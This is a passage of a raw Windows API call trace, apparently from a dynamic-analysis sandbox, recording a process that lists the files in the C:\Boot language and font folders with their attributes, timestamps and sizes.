ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.038] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.038] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.038] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0037.038] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.039] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.039] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.039] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.039] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.039] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0037.039] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.039] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.040] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.040] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.040] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.040] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0037.040] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb8d0 [0037.041] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.041] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.041] FindClose (in: hFindFile=0x7cb8d0 | out: hFindFile=0x7cb8d0) returned 1 [0037.041] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.041] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0037.041] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb8d0 [0037.042] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.042] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.042] FindClose (in: hFindFile=0x7cb8d0 | out: hFindFile=0x7cb8d0) returned 1 [0037.042] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.042] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0037.042] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb8d0 [0037.042] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.042] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.042] FindClose (in: hFindFile=0x7cb8d0 | out: hFindFile=0x7cb8d0) returned 1 [0037.043] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.043] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0037.043] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb8d0 [0037.043] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.044] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0037.044] FindClose (in: hFindFile=0x7cb8d0 | out: hFindFile=0x7cb8d0) returned 1 [0037.044] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.044] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0037.044] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.045] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.045] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.045] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.045] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.045] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0037.045] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.045] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.045] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.046] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.046] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.046] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0037.046] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.046] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.046] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.047] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.047] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.047] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0037.047] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.047] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.047] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.047] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.047] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e10070 | out: hHeap=0x790000) returned 1 [0037.047] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0037.047] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.048] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.048] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, 